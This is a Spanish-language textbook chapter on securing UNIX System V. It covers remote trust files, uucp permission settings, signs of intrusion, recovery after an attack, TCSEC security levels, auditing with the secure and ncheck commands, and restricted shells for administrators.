La mayoría de este software se ha desarrollado por las universidades o instituciones públicas así que gran parte de este software esta disponible.

11

SEGURIDAD EN RED

11

SEGURIDAD EN RED

11.1.- Redes de área local

El entorno en el cual hay muchas máquinas conectadas por medio de una red de área local (LAN) tiene muchos riesgos de seguridad.

Los usuarios de todas la máquinas de una red tienen que entender la importancia de utilizar contraseñas seguras.

Los usuarios de LAN están generalmente asociados con un único proyecto, desarrollan herramientas que permiten fácil comparación de archivos y datos entre las máquinas.

11.2.- Seguridad para ordenes remotas

- **Seguridad a nivel anfitrión(host)**

En el nivel anfitrión, cada sistema de red TCP/IP contiene un archivo llamado /etc/host.equiv. Este archivo contiene una lista de las máquinas que son de confianza y que abren sesiones remotas sin suministrar una contraseña.

Por ejemplo la computadora Michigan confía en la máquinas remotas Jersey, Nevada y Massachusetts, el archivo /etc/host.equiv en Michigan es

```
$ cat /etc/host.equiv
jersey
nevada
massachusetts
```

Si el archivo /etc/host.equiv contiene una línea con solo un signo más (+), esta máquina confía en todos los anfitriones remotos.

- **Seguridad a nivel usuario**

Existe otra forma que se usa para forzar la seguridad a nivel usuario. Un usuario que tiene un directorio propio en una máquina remota tiene un archivo de nombre .rhost. Este archivo se utiliza para permitir o denegar acceso al nombre de presentación (login) de ese usuario, dependiendo de que máquina y usuario esta tratando de obtener acceso a esa presentación.

Una entrada en .rhost es un nombre de máquina, que indica que el usuario es de confianza cuando accesa al sistema desde una máquina especifica, o bien, el nombre de máquina seguido de uno de presentación, indica que este listado es de confianza cuando accede al sistema desde la máquina especifica.

Cuando la seguridad esta relajada en un sistema, los archivos .rhost son propiedad de los usuarios remotos, para facilitar el acceso. Sin embargo, cuando

la seguridad es estricta, root (en la máquina local) es el propietario de todos los archivos .rhost y niega permisos de escritura a los usuarios remotos.

12

SEGURIDAD

uucp

12

SEGURIDAD UUCP

Los subsistemas de comunicación de datos *uucp* son un riesgo de seguridad potencial, ya que estas herramientas están diseñadas para permitir solamente acceso remoto. Cuando *uucp* funciona se conecta a otra maquina y ejecuta ordenes remotas en esa máquina mediante la lectura y escritura de archivos según se solicite.

Al igual que otros aspectos del sistema UNIX, la seguridad *uucp* se degrada poco a poco con el tiempo.

La principal cuestión de seguridad asociada con *uucp* son los permisos de los archivos uucp. Los archivos del directorio /usr/lib/uucp mantienen los permisos que se tienen cuando se carga inicialmente el software en el sistema.

El sistema *uucp* esta diseñado de modo que una máquina tenga la jerarquía de directorio público en la que toda actividad *uucp* ocurra normalmente.

12.1.- Archivo Permissions de uucp

Los permisos relacionados con uucp se adaptan según los deseos del usuario. Los datos de control están guardados en un archivo que se lee por los programas uucp cuando se ejecutan. Si se ejecuta una petición que no se permite por los datos de control, la petición se rehusa y la conexión uucp se rompe. El archivo

*/usr/lib/uucp/*Permissions contiene ésta información, pero solamente se lee por el superusuario.

Los permisos son bastante abiertos y restrictivos. Generalmente lo implícito (establecido cuando la máquina se carga) es una limitación considerable.

Un archivo típico *permissions* muy abierto es el siguiente:

```
# cat /usr/lib/uucp/Permissions
# This entry is wide-open....
LOGNAME=uucp:nuucp REQUEST=yes SENDFILES=yes READ=/ WRITE=/
MACHINE=OTHER COMMANDS=ALL REQUEST=YES READ=/ WRITE=/
#
```

12.2.- Los permisos implícitos

Por omisión los permisos uucp son relativamente restringidos, de modo que una entrada simple proporciona una adecuada seguridad. Se utiliza simplemente: LOGNAME=nuucp en todo el contenido del archivo *permissions*. La palabra clave LOGNAME se utiliza para referirse al id de presentación que solicita los servicios de uucp.

La simple entrada LOGNAME=nuucp restringe el acceso al sistema uucp al id de presentación nuucp. El shell implícito para ésta identificación es */usr/lib/uucp/uucico*, que es un programa seguro para comunicación de datos.

Con el archivo permissions, el sistema uucp esta restringido a transferir archivos desde el directorio público */usr/spool/uucppublic.* La orden rmail se permite a las máquinas remotas.

12.3.- Adaptación del archivo Permissions

Se añaden más líneas al archivo *permissions* para adaptar la seguridad de *uucp* a las necesidades del usuario. Dos tipos diferentes de líneas se encuentran en un archivo Permissions más complejo, aquellas que modifican las acciones del sistema para las llamadas que entran y aquellas que modifican las acciones para conexiones con máquinas especificas a las que llama el usuario.

La línea que comienza con LOGNAME=... afectan a todas las llamadas que entran, y cualquier línea que comience con MACHINE=... se refiere a máquinas especificas que se llaman.

Sólo hay una línea que comience con LOGNAME=... en el archivo permissions, pero se incluyen tantas líneas MACHINE=... como sea necesario.

13

CONTROL DE LLAMADAS DE ENTRADA CON LA LINEA LOGNAME

13

CONTROL DE LLAMADAS DE ENTRADA CON LA LÍNEA LOGNAME

Cuando otra máquina llama, se envían los trabajos que estén puestos en cola destinados a ella, o, se forza a la máquina a llamar antes de enviar los trabajos de salida. Ésta es una operación insegura, ya que una máquina que llama miente acerca de su *uname*, y toma archivos no destinados a ella. Esta mentira se denomina *engaño* (spoofing) al sistema *uucp* , y el único modo de prevenirlo realmente es hacer que una máquina llame a otra cada vez que se tengan trabajos en cola destinados a ella.

Se aumenta la palabra clave SENDFILES=... a la línea LOGNAME=... para controlar si los trabajos se envían cuando la máquina es llamada. La entrada se hace de la siguiente manera :

LOGNAME=nuucp SENDFILES=yes

permite tal transferencia, y

LOGNAME=nuucp SENDFILES=no

impide la transferencia en todos los casos.

SENFILES=call significa que los archivos solamente se envian a otra máquina cuando esta la llame, no cuando la otra máquina llame al usuario que la esta usando.

Análogamente, se añade la palabra clave REQUEST=... para controlar si la máquina permite que una máquina remota solicite archivos al sistema. La entrada

LOGNAME=nuucp SENDFILE=yes REQUEST=yes

permite a una máquina remota "tomar" archivos desde el sistema, estén o no en la cola para envío. Esta característica es peligrosa y se establece siempre con :

REQUEST=no.

14

CONTROL DE LLAMADAS DE ENTRADA CON LA LINEA MACHINE

14

CONTROL DE LLAMADAS DE SALIDA CON LAS LÍNEAS MACHINE

El permiso para las llamadas de salida se modifica para una máquina o una lista de máquinas especificas cuando se llamen, mediante el uso de la entrada MACHINE=... al comienzo de la línea. Todos los cambios en la línea de orden están asociados con máquinas especificas que se nombran explícitamente en la entrada MACHINE=...Si se desea que todas las máquinas que llamen tengan los mismos permisos, se utiliza la cadena especial OTHER a continuación de MACHINE=... para referirse a todas las máquinas, o se nombran máquinas especificas si se desea.

La palabra clave REQUEST=..., SENDFILES=..., READ=... y WRITE=... aparecen en la línea MACHINE=... con el mismo significado que en la línea LOGNAME=...

Para cambiar las ordenes, se añade la palabra clave COMMANDS=... a la línea MACHINE=..., con la lista de ordenes separadas por dos puntos.

MACHINE=OTHER COMMANDS=rmail:news:lp

Todas las ordenes especificadas en la lista COMMANDS se localizan en los directorios /bin o /usr/bin.

Se utiliza COMMANDS=ALL si se desea permitir a una máquina remota el acceso total a todas las órdenes. El uso de COMMANDS=ALL no se recomienda a menos que se confíe plenamente en la máquina remota.

15

ATAQUES AL SISTEMA

15

ATAQUES AL SISTEMA

Generalmente un ataque malicioso comienza por "piratas" que solo desean ampliar sus conocimientos a expensas de otros usuarios. Frecuentemente un asaltante entra en la máquina, para curiosear por el sistema de archivos, se aburre rápidamente y sale sin daño. Sin embargo, ocasionalmente los asaltantes desean robar los datos o simplemente dañar el sistema.

Normalmente un ataque se desarrolla del siguiente modo : Un asaltante obtiene el número telefónico del Módem (o de la LAN) a través de una red de otros asaltantes, o incluso mediante la marcación aleatoria de números telefónicos. El asaltante experimenta hasta que descubre un *id* de presentación desprotegido, obteniendo así el acceso a la máquina. El asaltante entonces inspecciona el archivo de contraseñas y el resto del sistema a placer hasta que encuentra una oportunidad para conmutar al *id* de presentación root.

Con frecuencia los archivos del sistema se alteran, los permisos reordenados y se añaden órdenes corrompidas al sistema, para hacerlo más fácil de quebrar posteriormente. Las conexiones de red se exploran para hallar máquinas "cercanas" que atacar.

La seguridad de las contraseñas es difícil al primer intento de un asaltante. Pero, una vez que este logra entrar al sistema, detectar y prevenir el ataque es extremadamente difícil. Además, una vez que el sistema se viola es muy probable que sea atacado nuevamente.

15.1.- Comportamiento del defensor

Invariablemente la primera reacción ante la sospecha de un ataque de la máquina es negar que ocurrió. Se piensa generalmente en buenas razones de porque se hacen cambios en los permisos, o incluso de como se modifica el archivo de contraseñas repentinamente. Con frecuencia no se recuerda cuál era el aspecto del sistema.

Obviamente este comportamiento defensor solamente entrena al atacante más experimentado. Se advierte repetidamente a los asaltantes que se sabe que la máquina esta comprometida, y se han efectuado cambios en la seguridad a un ritmo tan lento que los asaltantes se adelantan generalmente a las precauciones de los usuarios.

Generalmente si se detecta un ataque, no se cambia el sistema en absoluto mientras se planea una defensa. Colocar un anuncio describiendo los cambios que se pretenden hacer es especialmente imprudente. Las medidas adecuadas para los ataques de los asaltantes son: cambiar el sistema rápida y completamente, cambiar los números telefónicos de los Módems, cargar el software del sistema desde el comienzo, cambiar todas las contraseñas e ids de presentación y luego establecer las conexiones de uucp con otras máquinas. Si la defensa es suficientemente silenciosa y fuerte, se ha resuelto el problema.

15.2.- Detección de un ataque

Desgraciadamente la detección de un ataque se dificulta, ya que la mayoría de los asaltantes son más experimentados, que los defensores. Los lugares clave

para buscar un ataque son los siguientes: cambios o permisos de archivos relacionados con la seguridad, además de cambios en */etc/inittab*, */etc/profile*, */bin/login* y */etc/getty*.

Cualquier cambio en el contenido de estos archivos es sospechoso, especialmente en /etc/paswd, /usr/lib/uucp/Permissions, archivos *systems* de uucp, y /etc/profile. Los archivos de registro de uucp proporcionan información sobre conexiones inusuales con otras máquinas que se desconocen.

Los asaltantes generalmente cubren sus huellas. Un asaltante experimentado, edita archivos como *sulog* para suprimir sus movimientos, pero los permisos y la fecha de modificación de los archivos revelan el hecho de que fueron alterados.

16

NIVELES DE SEGURIDAD DEL SISTEMA OPERATIVO

16

NIVELES DE SEGURIDAD DEL SISTEMA OPERATIVO

UNIX Sistema V proporciona una variable de características de seguridad. Entre ellas se incluyen la identificación y validación del usuario a través de nombres de presentación y contraseñas, el control de acceso direccional a través de permisos, las capacidades de cifrado de archivos y las características de auditoría, tal como el registro de la última presentación.

Hay siete niveles de seguridad informática. Estos niveles están organizados en cuatro grupos, A, B, C y D, de exigencias de seguridad decrecientes. Dentro de cada división hay uno o más niveles de seguridad, etiquetados con números, desde el nivel superior de seguridad hasta el nivel inferior, estos niveles son A1, B3, B2, B1, C2, C1 Y D. Todos los requerimientos de seguridad para un nivel inferior son validos para los niveles superiores, de modo que todo requerimiento de seguridad para un sistema B1 es también una exigencia para un sistema B2, B3 o A1.

Protección mínima (clase D).

Los sistemas con una calificación de clase D tienen características de protección mínimas. Un sistema no tiene que pasar ningún test para ser clasificado como sistema clase D.

Protección de seguridad discrecional (clase C1).

Para que un sistema tenga el nivel C1, debe proporcionar una separación entre usuarios y datos. Los controles discreccionales están disponibles para limitar a un usuario el acceso de datos. Los usuarios se identifican y validan.

Protección de seguridad discrecional (clase C2).

Para que un sistema tenga un nivel C2, un usuario debe ser capaz de proteger los datos de modo que este disponible sólo a usuarios específicos, mantener una auditoria que lleva la cuenta tanto de los accesos e intentos a objetos, tales como archivos. La seguridad C2 también exige que no haya datos disponibles como residuo de un proceso, de modo que los datos generados por el proceso en registros o memoria temporal, sean borrados.

Protección de seguridad etiquetada (clase B1).

Los sistemas en el nivel de seguridad B1 tienen capacidades de control de acceso obligatorios. En particular, los sujetos y objetos que se controlan se etiquetan individualmente con un nivel de seguridad. Las etiquetas incluyen niveles de seguridad jerárquico, tales como : "sin clasificar", "secreto", "alto secreto" y categorías tales como nombres de grupo o equipo.

Protección estructurada (clase B2).

Para que un sistema satisfaga el nivel B2 de seguridad, debe existir un modelo de seguridad formal. Los canales de cobertura, que no se utilizan normalmente para comunicaciones sino para trasmición de datos, se restringen. Hay un diseño de alto nivel verificable, y la comprobación confirma que este diseño se ha implementado. Se designa una persona oficial que implemente políticas de seguridad en el control de accesos, mientras que el administrador del sistema tiene que limitarse a las funciones necesarias para la operación del sistema.

Dominios de seguridad (clase B3).

La seguridad de los sistemas en el nivel B3 se basan en un modelo conceptual sencillo, pero completo.

El sistema tiene que ser altamente resistente a la penetración y la seguridad debe ser a toda prueba. Además de proporcionar una facilidad de auditoria que detecte violaciones de seguridad potenciales.

Diseño verificado (clase A1).

Las capacidades de un sistema de clase A1 son idénticas a las de clase B3. Sin embargo, el modelo formal para un sistema de clase A1 se tiene que verificar formalmente como seguro.

16.1- El nivel de seguridad de Unix sistema V versión 4

La Versión 4 satisface la mayoría de las exigencias de seguridad de la clase C2. El UNIX Internacional Roadmap para UNIX Sistema V especifica una versión, a desarrollar por AT&T, llamada UNIX Sistema V Versión 4 con seguridad mejorada, que cubre las exigencias de la clase B2. Esta versión no sólo satisface las exigencias B2, sino también las B3.

16.2 UNIX Sistema V/MLS

Entre las características de seguridad provista en UNIX Sistema V/MLS están:

- **Control de acceso obligatorio (MAC).**

UNIX Sistema V/MLS añade control de acceso obligatorio etiquetando todos los *objetos* y *sujetos* del sistema. Un objeto es una entidad que contiene o recibe información, tal como un archivo, un directorio, un proceso, o un cauce.

Un sujeto es una entidad que hace que la información fluya entre objetos, o cambia el estado del sistema; en UNIX Sistema V, los únicos sujetos son los procesos, que actúan por cuenta de los usuarios.

- **Auditoria de seguridad.**

Además de mantener una auditoria de los intentos de presentación, UNIX Sistema V/MLS también mantiene una auditoría de todos los accesos a objetos. El administrador del sistema la utiliza para ver quien ha accedido a objetos particulares, y ha cuales ha accedido un usuario en particular.

- **Generador de contraseñas aleatorias.**

Después de que un usuario se presenta por primera vez en UNIX Sistema V/MLS, genera una nueva contraseña. Esto se debe a que la contraseña original, establecida por el administrador del sistema y comunicada al usuario, no es segura. La nueva contraseña se genera automáticamente por el sistema. Es una cadena "semi-pronunciable"; es decir, una cadena de letras y dígitos que es más fácil de recordar que una cadena totalmente aleatoria.

Los usuarios tienen la opción de aceptar o rechazar la contraseña generada por el sistema.

- **Shell fiable.**

El shell de UNIX Sistema V/MLS es una versión mejorada del shell estándar de UNIX Sistema V. Los usuarios no se despiden con el shell de UNIX Sistema V/MLS sino introducen una orden después de un número de segundos prescritos.

Esto impide a usuarios no autorizados que utilicen terminales que han quedado desatendidas por el usuario propietario.

El Shell de UNIX Sistema V/MLS incluye medidas destinadas a impedir caballos de Troya. En particular, las ordenes que operan con privilegios raíz [root] solamente ejecutan ordenes que corren a nivel sistema (nivel 0).

- **Restricciones de superusuario.**

UNIX Sistema V/MLS pone varias restricciones de acceso al superusuario que hace más difícil a un usuario convertirse en superusuario.

Para que un usuario se convierta en superusuario, tiene que conocer la contraseña del superusuario.

17

SEGURIDAD PARA ADMINISTARDORES

17

SEGURIDAD PARA ADMINISTRADORES

17.1.Administración de seguridad

La seguridad de los administradores se rompe dentro de cuatro áreas generales :

1. Evitar accesos no autorizados

Es el área más importante en relación a la seguridad de las computadoras, en cuanto a la carga de gente no autorizada a utilizar los sistemas. Los datos que evitan el acceso desautorizado son : que el administrador asigne usuarios con *password*, que reporte las actividades de los login y revise periódicamente las actividades de los usuarios en los centros de trabajo.

2. Prevención de dificultades

La prevención de dificultades es también una área importante para la seguridad de las computadoras : la carga de usuarios autorizados y no autorizados, así como el acceso de cada uno de ellos a la información sensible.

La revisión del *file system*, el reporte de los login que los usuarios proporcionan, y las llaves encriptadas previenen ciertas dificultades.

3. Evitar la negativa de los servicios

Está área de la seguridad en las computadoras, se implementa por el Sistema Operativo. Un sistema aumenta su grado de seguridad cuando los usuarios dificultan el uso de sus recursos.

4. Evitar la perdida de integridad

Esta área de la seguridad en las computadoras es relativamente una practica de administración por ejemplo, realizar backups periódicamente de los *File System*, correr el *fsck* (que más tarde desactiva el sistema) y tener así un sistema más seguro.

17.2. Consideraciones de seguridad

Unix permite crear archivos en forma independiente, esto significa que no se conocen las especificaciones de su creación. La información de la longitud de cada registro, el tamaño de block, la velocidad de la línea, los protocolos de las estaciones de trabajo, no se necesitan para la creación de programas; por lo que estos detalles se descuidan por el autor.

Una buena forma de establecer la seguridad es observando la magnitud de la entradas y salidas de los autores, que pasan a través de pequeños conductos, nombrados por el autor de los archivos.

También si se tienen permisos específicos sobre la partición del disco, los usuarios solamente usan el disco a través del *File System* de Unix, el cual tiene que ser construido con mecanismos de seguridad (permisos de archivos).

Afortunadamente, si los permisos sobre la partición del disco son incorrectos, solamente el usuario es capaz de escribir un programa que lea cada archivo sobre la partición del disco por simple que está sea y entonces leer los blocks en el orden en que ellos aparecen en la lista de direcciones del disco. Por ejemplo, suponiendo que se tiene un *File System* sobre la partición /dev/dsk1 :

```
$ ls -l /dev/desk1
brw-r—r--        1 root        root        0,    1 Apr   1    1981 desk1
$
```

Algunos usuarios usan la partición en forma de gato (#), para el mejor rendimiento del almacenamiento, porque se aprovechan los blocks, el *super-block*, y la *i-list* que se desee que sean desplegadas en orden ascendente, no considerando el archivo de cada block al que pertenezca. La partición de disco no se lee por nadie, excepto por *root*.

```
$ ls -l /dev/desk2
brw-rw—rw--      1 root        root        0,    1 Apr   1    1981 desk2
$
```

17.3. El Comando ncheck

El comando *ncheck* checa el *file system.* De la siguiente manera :

 # ncheck /dev/desk1

```
/dev/desk1 :
54          /.profile
5           /bin/.
31          /tmp/.
172         /lib/.
275         /lost+found/.
674         /book/.
399         /src/.
498         /tmp/x/.
652         /tmp/y/.
642         /tmp/file1
642         /tmp/file2
628         /tmp/cpio1
```

Si se necesita averiguar la partición del disco sobre /usr. Se hace de la siguiente manera :

$ /etc/mount

```
/on / dev / dsk0          read/write on Thu Apr 5 06 :55 :23 1984
/tmp on /dev/dsk10        read/write on Thu Apr 5 07 :18 :41 1984
```

/usr on /dev/dsk1 read/write on Thu Apr 5 09:44:22 1984
/usr/src on /dev/dsk11 read/write on Thu Apr 5 09:44:45 1984

Ahora se ejecuta *ncheck* sobre /dev/dsk1 y se consulta el *i-nodo* 633 :

 # ncheck -i 633 /dev/dsk1
/dev/dsk1 :
633 /pat/Opgrades
633 /creep/secret/prgrades
#

El *ncheck* se usa para ver el *SUID, SGID* en el *File System*. Utilizando la opción -s :

 # ncheck -s /dev/dsk1
619 /pat/prgrades
792 /pat/prgrades.sh
1022 /bob/dev/disk
#

Investigación de archivos :

```
# ls -l /usr/pat/prgrades
-rws—x—x    1  pat CS440      1725  Apr   2      10 :26 /usr/pat/prgrades
# ls -l  /usr/pat/prgrades.sh
-rwsr-xr-x      1  pat CS440      266   Apr   20     16 :08 /usr/pat/prgrades.sh
# ls -l /usr/bob/dev/disk
brw-------      1 root  op365     0,    1 sep  8 05 :47      /usr/bob/dev/disk
#
```

17.4. UIDs Y GIDs

La información del UID en el */etc/passwd* es importante, ya que el sistema lo usa para distinguir a un usuario de otro. Por lo general, los *UID´s* son a partir de cero hasta 99, estos se reservan por el sistema de *ids (root, bin, uucp).*

Si hay dos entradas diferentes en el */etc/passwd* y tiene el mismo *UID*, por ejemplo :

```
bill :X jksrRkslR99u :124 :124 :bill fede :/usr/bill :/bin/sh
karen :hjyh4LdqSjk98 :124 :300 :karen :/usr/karen :/bin/sh
```

entonces estos dos usuarios tiene los mismos derechos de accesos a cada uno de los archivos. La opción *ls -l* solamente muestra a un dueño del archivo. En este caso *bill* muestra que es dueño del primer listado en el archivo */etc/passwd*. Los

programas que muestran el nombre del usuario, eligen el primer login, y buscan en el archivo */etc/passwd.* Los comandos ls, *who, find, ps* y el informe de programas se usan por el *UID* para obtener el *login.*

La opción -p es segura para checar los usuarios con el mismo UID.

17.5. Auditoria de seguridad

Los programas como el *find* y el *secure* se utlizan como programas de auditoria porque ellos actúan del mismo modo que un auditor, checan las inconsistencias y violaciones de seguridad. Un programa de auditoria busca en el *file system* la descripción de cada suceso en los archivos de SUID/SGID.

La siguiente lista muestra las opciones y su correspondiente función en la seguridad :

-b Genera un *checksum* (con la suma) y una lista (con *ls -l*) de todos los archivos *suid* y *sgid* en */bin, /usr/bin, /etc y /usr/lib.*

-c Corre el programa *perms* .

-f filesys Representa un obstáculo en la seguridad del *filesys* en el *file system.* Esta opción emplea las opciones de -s y -w.

-g Representa un obstáculo de el archivo */etc/group.*

-l Obstaculiza los *logins* más viejos. Lista los usuarios quienes tienen menos de catorce días y más de 180 días.

-m Obstaculiza el correo de un usuario a otro.

-p Representa un obstáculo en el archivo */etc/passwd*.

-r Lista los archivos que se leen solamente por el sistema. Ignora los archivos en *rje, /usr/tmp,/tmp,* y */usr/spool/uucppublic*.

-s Lista todos los programas *SUID* y *SGID* que se han encontrados. Si se ejecutan por *root,* lista todos los archivos creados que no se encuentran en el /dev.

-u user Checa la seguridad del usuario (*user).*

-w Lista los archivos que se escriben en el sistema.

Cuando root ejecuta el *secure* se aplican las opciones -m, -f y -r. Cuando el *secure* lo ejecuta otro usuario, se aplican las opciones -s y -w.

Un Programa Seguro

Periódicamente se debe realizar una búsqueda en los archivos creados y los programas SUID y SGID.

La seguridad contenida en el archivo */etc/bincheck* determina que directorios se checan por el programa SUID con la opción -b. Se checan las sumas de las listas de los archivos con esta opción (primera columna). Estos se modifican a menos que se instale una nueva versión del programa. Si se realiza una modificación y no se modifica el archivo, entonces alguien quizá tiene un caballo de Troya.

PRUEBA

 # secure -b

SECURITY AUDIT Tue Apr 30 18 :01 :43 edt 1985

========== ==========

=====SYSTEM SET UID AND GID CHECK=====

/BIN :

4858	-r-sr-xr-x	3root	bin	9572	Jan	6	1984	rmdir
35166	-r-xr-xr-x	3bin	sys	23388	Jan	6	1984	ps
49105	-r-sr-xr-x	1root	sys	19620	Jan	6	1984	passwd
4695	-r-xr-xr-x	2bin	mail	27128	Jan	6	1984	mail
4695	-r-xr-xr-x	2bin	mail	27128	Jan	6	1984	rmail
23482	-r-sr-xr-x	1root	bin	10520	Jan	6	1984	df
22495	-r-sr-xr-x	3root	bin	11968	Jan	6	1984	mv
1303	-r-sr-xr-x	1root	sys	20280	Jan	6	1984	su
41572	-r-sr-xr-x	3root	bin	9384	Jan	6	1984	mkdir
30301	-r-sr-xr-x	3root	bin	24244	Jan	6	1984	login

/usr/bin :

40794	---s—x--x	1uucp	sys	44152	Mar	2215	:16	cu
10402	---s—x--x	1uucp	sys	53924	Aug	13	1984	uux
15732	---s—x--x	1uucp	sys	34884	Aug	13	1984	uustat
41418	---s—x--x	1uucp	sys	19268	Aug	13	1984	uuname
37978	---s—x--x	1uucp	sys	49412	Aug	13	1984	uucp

```
36848 ---s—x--x   1uucp      sys    42812    Aug  13  1984 ct
25287 -r-sr-sr-x  1 lp       bin    19632    Jan  10  1984 disable
9798  -r-sr-sr-x  1 lp       bin    13752    Jan  10  1984 enable
10422 -r-sr-sr-x  1 lp       bin    27440    Jan  10  1984 lp
22463 -r-sr-sr-x  1 lp       bin    27220    Jan  10  1984 lstat
58419 -r-sr-sr-x  1 lp       bin    20120    Jan  10  1984 cancel
/usr/lib
23705 -r-sr-sr-x  1lp   bin  15844    Jan  10  1984 accept
19969 -r-sr-sr-x  1lp   bin  13020    Jan  10  1984 lpstat
19426 -r-sr-sr-x  1root bin  28888    Jan  10  1984 lpadmin
8069  -r-sr-sr-x  1lp   bin  16124    Jan  10  1984 reject
37123 -r-sr-sr-x  1lp   bin  19652    Jan  10  1984 lpmove
/etc :
AUDIT COMPLETE
#
```

17.6. Aplicando una auditoria con el *secure,* a password y archivos de grupo

El programa *secure* usa los *password* y los archivos de grupo para encontrar inconsistencias y anomalías. La opción -p en el *secure* imprime los usuarios con el mismo UID, los que no tiene *password*, los que no cambian de *password* y los usuarios de quienes no se han expirados los *password.*

La opción -g en el *secure* imprime los nombres de los logins listados en los grupos administrativos como : *root, adm, bin,* y *sys.* Además *secure* ejecuta el archivo */etc/grpck,* para determinar los problemas en las señales en el archivo del grupo, los *GIDs* inválidos y los nombres de los *logins* que no aparecen en el archivo de los *password.*

```
# secure -p -g

SECURITY AUDIT                    Wed  May  1  10 :15 :34 EDT  1985
===============                   ================================

======== USER WITH NO PASSWORDS==============

jdm

------RUN OF /etc/pwcx------

network :NOLOGIN :10 :10 :netware account :/usr/spool/net :
        Login directory not found

-----USER WITH THE SAME UID-----
0 :
        root    setup           powerdown           sysadm
5 :
        uucp    nuucp           uucpx
20 :
        sync    uname
100 :
        pat             phw

========== CHECK OF ADMNISTRATIVE GROUPS ==========
===== RUN OF /etc/grpck =====
AUDIT COMPLETE
#
```

Si al ejecutar el secure se descubre que es lento se hacen pruebas en particiones escritas desde C, principalmente en las partes que se utilizan por el *find*. Las rutinas de C *ftw ( )* se usan para "pasear" en el árbol de archivos, o descender bajo la jerarquía del *file system*.

17.7. Problemas con la seguridad en la auditoria de programas

Advertir sobre el uso de los comandos *secure*, *find* y otros procedimientos, así como probar los comandos antes de llevarlos a cabo disminuye los riesgos que tengan su uso.

El *secure* se utiliza para informar la dificultad de checar un *login* en el *.profile*, al ser accesado periódicamente por el sistema o por los usuarios del programa.
Hay tres pasos para descubrir los *logins* viejos :

1. Guarda la relación de datos del último *login* de cada usuario en el archivo */usr/adm/acct/sum/loginlog*. La ventaja de usar este archivo es que se almacena por el sistema, además de ser exacto. La desventaja es que los informes se ejecutan en el sistema para los archivos de salida de datos.

2. Encontrar los *password* en */etc/passwd* para informar a que usuarios se les ha expirado el *password,* y a partir de cuando se utilizan nuevamente. Las ventajas son que el sistema guarda los *password* en sus pistas, además es simple para implementar y no requiere de recursos de disco. La desventaja es que este método es exacto solo por un máximo de tiempo (en semanas).

3. Escribir un programa para que busque los *logins* en el */etc/wtmp* todos los días y los guarde por cierto tiempo. La ventaja es que es exacto. La desventaja es que el programa tiene que ser escrito.

Los pasos anteriores se combinan para buscar en el archivo */usr/adm/sulog* los tiempos en el que los *logins* se utilizaron.

17.8. Obligaciones en un sistema

Al encontrar daños en la seguridad del sistema. El primer paso es manejarlo correctamente. Si se hizo por un malicioso y no hay reglas en la compañía con relación a este tipo de problemas (seguridad quebrantada) y el daño ya se hizo entonces se necesita limpiar las salidas y guardar los permisos de los usuarios. El administrador del sistema le reporta al propietario si hay algún daño.
Si el usuario no autorizado pertenece a alguna compañía externa se asume lo peor : que este usuario llegue a ser *root* y manipule el sistema de archivos y programas. El administrador esta obligado a encontrar que persona dañó el sistema, encontrar los daños que se realizaron, y realizar una auditoria completa en todo el sistema, de archivos SUID y SGID.

Los siguientes pasos son para eliminar las entradas de usuarios no deseados en el sistema :

1. Impedir la entrada al sistema y rebotarlos. No regresando a un modo multiusuario.

2. Determinar que tipo de *floppy* contienen el sistema original de UNIX.

3. Copiar el programa desde */bin, /usr/bin, /etc,* y */usr/lib* a un directorio temporal.

4. Comparar el *checksum* con todos los archivos en el área temporal. Si algunos son diferentes entonces hay que encontrar el ¿por que ?. Si es porque la versión instalada es nueva, se asegura la reinstalación de está. Sino se remplazan los comandos desde una área temporal.

5. Checar los permisos de todos los comandos del sistema, contra los permisos en el área temporal.

6. Checar los permisos de todos los directorios del sistema. Si se usa el *perms*, se checa el *permlist* del archivo temporal.

7. Si el Checksum del *kernel* de UNIX (/UNIX) no es igual al distribuido, y nunca se cambia el *kernel*, se asume que el intruso es un experto y recarga sus entradas al sistema de cualquier forma. Se restablecen los archivos de los usuarios incrementando los *backups*, (*ncheck -s*).

8. Cambiar todos los *password* en el sistema. Así como informar a los usuarios de estos cambios.

9. Al preguntar los usuarios por su nuevo *password* se les informa a ellos de las fallas de seguridad, para que ellos revisen tanto archivos como directorios y reporten cualquier cosa fuera de lo normal.

10. Probar la búsqueda de las rupturas de seguridad que ocurran. Esto es imposible si el personal no habla de los problemas que tienen.

17.9. Restricciones en el ambiente

- **Restricciones del *shell (rsh)***

Para ver las entradas de los usuarios restringidos en el */etc/passwd* :

```
$ grep restrict /etc/passwd
restrict : PomJk109Jk41,./ :116 :116 : :usr/restrict :/bin/rsh
$
```

El *shell* del *restrict* no esta en el */bin/sh* sino en el */bin/rsh*. La lista de restricciones es la siguiente :

1. No cambiar de directorio (*cd*)
2. No cambiar el PATH o el SHELL (variables del *shell*)
3. No cambiar el uso de comandos contenidos en /
4. No redirigir las salidas (> y >>)
5. No utilizar los programas del *exec*

Estas restricciones se imponen por el *.profile.* y permiten escribir las del usuario en el *.profile* para tener el control completo sobre los comandos que utiliza el

usuario. El siguiente ejemplo muestra como se establecen las restricciones en el ambiente.

```
$cat .profile                                   user restrict´s .profile
#
# set PATH to /usr/bin and HOME/bin
# set SHELL to /bin/rsh
#
PATH-/usr/rbin :$HOME/bin
export PATH
SHELL-/bin/rsh
export SHELL
cd /usr/restrict/restdir
$ ls -l .profile
-rw-r—r--        1 pat  group1     179  Apr  14    17 :50 .profile
$ ls /usr/rbin                                  directorio de los comando restringidos
cat
echo
ls
mail
red
write
$ ls /usr/restrict/bin                          directorio del comando restrict
adventure
backgammon
chess
rogue
$
```

Se establecen las restricciones en el ambiente para el usuario, por medio de el *restrict*. El usuario restringido corre solamente los comandos contenidos en */usr/rbin y /usr/restrict/bin*, se encierra en este ultimo y no se cambia ni aún con el *cd* . Además, estos dos comandos se escriben por el usuario.

17.10. La seguridad en un sistema pequeño

Es importante considerar pequeños sistemas en Unix, ya que merecen una especial atención. Se consideran varios puntos :

1. Un pequeño sistema de Unix tiene menos usuarios que un gran sistema. Generalmente los usuarios se conocen personalmente. Y resuelven los problemas de seguridad cara a cara.

2. Además el manejo de los sistemas de Unix pequeños son más sencillos en los que probablemente sola haya una persona que los administre. La responsabilidad para mantener la seguridad reside solo en esta persona.

3. Si una misma persona, es el usuario y administrador, no necesita de mucho tiempo para checar los problemas de seguridad.

4. Si una sola persona es el usuario y el administrador, se tiene la autoridad para simplificar y remover los archivos dañados en el sistema. Pocos administradores de grandes sistemas tiene la suficiente libertad para realizarlo.

5. Si son solamente el usuario y el sistema, la tarea de hacer y guardar el sistema seguro se simplifica. No se tiene la preocupación acerca de los Caballos de Troya, pero si de los virus que tenga algún software comercial infectado.

6. Guardar los datos más sensibles en medios magnéticos, en un lugar seguro.

